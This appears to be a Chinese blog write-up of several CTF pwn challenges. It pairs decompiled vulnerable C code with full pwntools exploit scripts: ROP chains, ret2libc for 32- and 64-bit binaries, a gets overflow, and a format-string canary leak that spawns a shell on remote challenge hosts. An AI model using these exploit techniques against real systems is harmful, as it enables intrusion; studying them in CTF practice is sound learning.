WP
WP
1.NPCCTF
(1)pwn list
{
int v4; // [rsp+Ch] [rbp-A4h] BYREF
__int64 v5; // [rsp+10h] [rbp-A0h] BYREF
__int64 v6; // [rsp+18h] [rbp-98h] BYREF
__int64 v7[18]; // [rsp+20h] [rbp-90h] BYREF
v7[17] = __readfsqword(0x28u);
init(argc, argv, envp);
memset(v7, 0, 0x80uLL);
while ( 1 )
{
puts("'List' Option Menu:");
printf("The Size of the 'List' : %d\n", (unsigned int)k);
puts("1:Change\n2:Add\n3:Delete\n4:Show\n5:Exit\nYour option:");
__isoc99_scanf("%d", &v4);
if ( v4 == 5 )
return 0;
if ( v4 == 3 )
{
puts("which 0ne?");
__isoc99_scanf("%d", &v6);
if ( (int)v6 >= k )
goto LABEL_18;
while ( (int)v6 < k )
{
v7[(int)v6] = v7[(int)v6 + 1];
LODWORD(v6) = v6 + 1;
}
--k;
puts("OK");
}
if ( v4 == 2 )
{
if ( ++k <= 16 )
{
printf("Elem:");
__isoc99_scanf("%lld", &v6);
v7[k] = v6;
goto LABEL_13;
}
LABEL_18:
puts("Invalid option!");
}
else
{
LABEL_13:
if ( v4 == 1 )
{
if ( k > 16 )
goto LABEL_18;
__isoc99_scanf("%lld%lld", &v5, &v6);
v7[v5] = v6;
}
if ( v4 == 4 )
{
if ( k > 16 )
goto LABEL_18;
for ( i = 1; i <= k; ++i )
printf("%lld ", v7[i]);
putchar(10);
}
}
}
}
这是原题目的代码,看上去很复杂,得认真阅读一下,发现有一处明显的索引越界漏洞,即输入v4=1时,可以分别输入v5、v6,尽管数组v7的大小设定只有18,但是借助这个索引越界可以实现往栈底和retn的操作,因此明确思路就是利用索引越界来到retn,然后用那一套来泄露puts地址,进而计算基地址,最后ret2libc。
exp如下
from pwn import *
p=remote('175.27.249.18',32465)
#p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
pop_rdi = 0x400ad3 #ROP
ret=0x4005c9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
system=libc.symbols['system']
bin_sh=next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Your option:', b'1')
p.sendline(f'19 {pop_rdi}'.encode())
p.sendlineafter(b'Your option:', b'1')
p.sendline(f'20 {puts_got}'.encode())
p.sendlineafter(b'Your option:', b'1')
p.sendline(f'21 {puts_plt}'.encode())
p.sendlineafter(b'Your option:', b'1')
p.sendline(f'22 {main_addr}'.encode()) #ROPlian
p.sendlineafter(b'Your option:\n', b'5')
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + system
bin_sh_addr= libc_base + bin_sh #libc
print(hex(puts_addr))
print(hex(system_addr))
print(hex(bin_sh_addr))
p.sendlineafter(b'Your option:', b'1')
p.sendline(f'19 {ret}'.encode())
p.sendlineafter(b'Your option:', b'1')
p.sendline(f'20 {pop_rdi}'.encode())
p.sendlineafter(b'Your option:', b'1')
#gdb.attach(p,'b *0x400a6a')
#pause()
p.sendline(f'21 {bin_sh_addr}'.encode())
p.sendlineafter(b'Your option:', b'1')
p.sendline(f'22 {system_addr}'.encode())
p.sendlineafter(b'Your option:', b'5') #systen('/bin/sh')
#pause()
p.interactive()
而且我这题一开始没有在本地打通,然后问了家辉学长才知道是在因为本地的libc版本和题目所给的libc版本不一致。于是直接打远程就通了。
2.BUUCTF
(1)ret2libc
这玩意还是得多做
{
char buf[32]; // [rsp+10h] [rbp-20h] BYREF
init(argc, argv, envp);
puts("Welcome to NewStar CTF!!");
puts("Show me your magic again");
read(0, buf, 0x100uLL);
puts("See you next time");
return 0;
}
exp:
from pwn import *
#p=process('./ret2libc')
p=remote('node5.buuoj.cn',29269)
elf=ELF('./ret2libc')
context(log_level='debug')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.symbols['main']
p.recvuntil(b'Show me your magic again')
ret=0x400506
rdi=0x400763
payload=b'a'*0x28+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(ret)+p64(main)
p.sendline(payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
p.recvuntil(b'Show me your magic again')
payload=b'a'*0x28+p64(rdi)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()
(2)ciscn_2019_n_1
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h] v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
显然有gets漏洞直接改v2的值即可
exp:
from pwn import *
#p=process('./ciscn_2019_n_1')
p=remote('node5.buuoj.cn',25027)
float_value=11.28125
float_bytes = struct.pack('<f', float_value)
payload=b'a'*0x2c+float_bytes
p.recvuntil(b"Let's guess the number.")
p.sendline(payload)
p.interactive()
3、Polarctf
一、春季个人挑战赛
(1)libc
本身是一个很简单的题,但是如果不看Wp的话我可能现在还不清楚到底为什么打不通
先看jiu函数
int jiu()
{
char buf[58]; // [esp+Eh] [ebp-3Ah] BYREF
puts("like");
read(0, buf, 0x50u);
return 0;
}
很明显的ret2libc,checksec一下:
发现也没有canary,就开了NX,并且是32位系统(刚好之前做的题都是64位的模板,现在来补充一下32位的)
在64位系统中ret2libc的关键点是溢出之后,ret到rdi,在rdi中存放之后要put_plt要执行的puts_got参数,然后又返回到主函数执行systembinsh。关键的payload为
payload1=b'a'*offset+p64(rdi_address)+p64(puts_got_address)+p64(puts_plt_address)+p64(main_address)但是在32位系统中,函数执行的参数并不是存放在寄存器中的,而是存放在最邻近的栈帧上,在执行的调用。
不过返回流程都是一样的
那么遵循着这样的思路,首份exp为:
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
#p=process('./pwn1')
p=remote('1.95.36.136',2149)
elf=ELF('./pwn1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x08048561
payload=b'a'*0x3A+b'a'*4+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendafter(b'like',payload)
puts_addr=u32(p.recv(4))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc.dump('system')+libc_base
bin_sh=libc.dump('str_bin_sh')+libc_base
payload=b'a'*0x3A+b'a'*4+p32(system)+p32(1)+p32(bin_sh)
p.recvuntil('like')
p.sendline(payload)
p.interactive()
然而执行结果为:
蕾姆了,然后看别人的wp,发现是在'like\n'后再sendline,一开始我觉得还有点奇怪,但是仔细看调试结果,人家已经给你说了接受到的为'like\n',这波纯属青光眼了。。。
修改后的最终exp:
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
#p=process('./pwn1')
p=remote('1.95.36.136',2149)
elf=ELF('./pwn1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x08048561
payload=b'a'*0x3A+b'a'*4+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendafter(b'like\n',payload)
puts_addr=u32(p.recv(4))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc.dump('system')+libc_base
bin_sh=libc.dump('str_bin_sh')+libc_base
payload=b'a'*0x3A+b'a'*4+p32(system)+p32(1)+p32(bin_sh)
p.recvuntil('like\n')
p.sendline(payload)
p.interactive()
(2)fmt
$pwndbg disass function:可以直接在终端看反汇编
先来看主要函数yichu:
unsigned int yichu()
{
char s[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]
v2 = __readgsdword(0x14u); //这里我个人认为一般就是开canary保护的,然后这个v2的位置就是canary的位置,如果有不对欢迎师傅指正
gets(s);
printf(s);
gets(s);
printf(s);
return __readgsdword(0x14u) ^ v2;
}
意图还是很明显的,通过两次溢出,一次泄露canary,一次打system。
第一次泄露canary,用格式化字符串漏洞来,那么我们先调试。
$pwndbg r
AAAA%p%p%p%p%p%p
AAAA(nil)0xffffcf780xf7df55360xf7fa3da00x100x41414141
可以看到在第六个%p时我们找到了printf相对于s的偏移,然后又因为s相对于canary的偏移为0x70-0xc转换为十进制为100,除以32位系统的字长4字节得到偏移为25,所以最终printf相对于canary的偏移就是31,我们利用这点可以将canary泄露。
这一段的代码:
from pwn import *
#p=process('./pwn')
p=remote('1.95.36.136',2074)
elf=ELF('./pwn')
context(arch='i386',os='linux',log_level='debug')
fmt_offset=6
gets=0x8048430
s=0x804A080
system=0x8048460
main=elf.symbols['main']
payload=b'%31$x'
p.sendline(payload)
canary=p.recvuntil(b'00')
canary = int(canary[-8:],16)
print(hex(canary))
p.interactive()
可以看到终端成功打印出来canary的内容。
那么我们可以随心所欲的利用栈溢出了,在IDA中找到gets的地址,system的地址,利用32位执行的特点(隔一个栈帧存放参数)我们构造如下payload
payload=b'a'*100+p32(canary)+b'a'*12+p32(gets)+p32(system)+p32(s)+p32(s)
前面的不用解释,后面的意思就是先ret到gets,然后输入的内容存到s中,执行完后跳转到system,最后执行system的参数s(这也就是为什么写了两个s的原因),那么我们输入‘sh’即可。
最终exp:
from pwn import *
#p=process('./pwn')
p=remote('1.95.36.136',2074)
elf=ELF('./pwn')
context(arch='i386',os='linux',log_level='debug')
fmt_offset=6
gets=0x8048430
s=0x804A080
system=0x8048460
main=elf.symbols['main']
payload=b'%31$x'
p.sendline(payload)
canary=p.recvuntil(b'00')
canary = int(canary[-8:],16)
print(hex(canary))
payload=b'a'*100+p32(canary)+b'a'*12+p32(gets)+p32(system)+p32(s)+p32(s)
p.sendline(payload)
p.sendline('sh')
p.interactive()
小声bb一下,一开始我的想法是利用栈溢出,打32位的printf的libc,但是不会用printf来打libc,遂一直卡着,最后才发现是我想麻烦了,有gets直接执行systembinsh不就行了吗(所以还是看别人的东西辣哈哈哈)
4、一些别的题
(1)fmt
反编译:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char format[4]; // [rsp+0h] [rbp-10h] BYREF
unsigned int v5; // [rsp+4h] [rbp-Ch] BYREF
int v6; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
printf("you have n chance to getshell\n n = ");
if ( (int)__isoc99_scanf("%d", &v6) <= 0 )
exit(1);
for ( i = 0; i < v6; ++i )
{
printf("type something:");
if ( (int)__isoc99_scanf("%3s", format) <= 0 )
exit(1);
printf("you type: ");
printf(format);
}
printf("you have n space to getshell(n<5)\n n = ");
__isoc99_scanf("%d\n", &v5);
if ( (int)v5 <= 5 )
vuln(v5);
return 0;
}
vuln函数:
ssize_t __fastcall vuln(unsigned int a1)
{
char buf[4]; // [rsp+1Ch] [rbp-4h] BYREF
printf("type something:");
return read(0, buf, a1);
}


浙公网安备 33010602011771号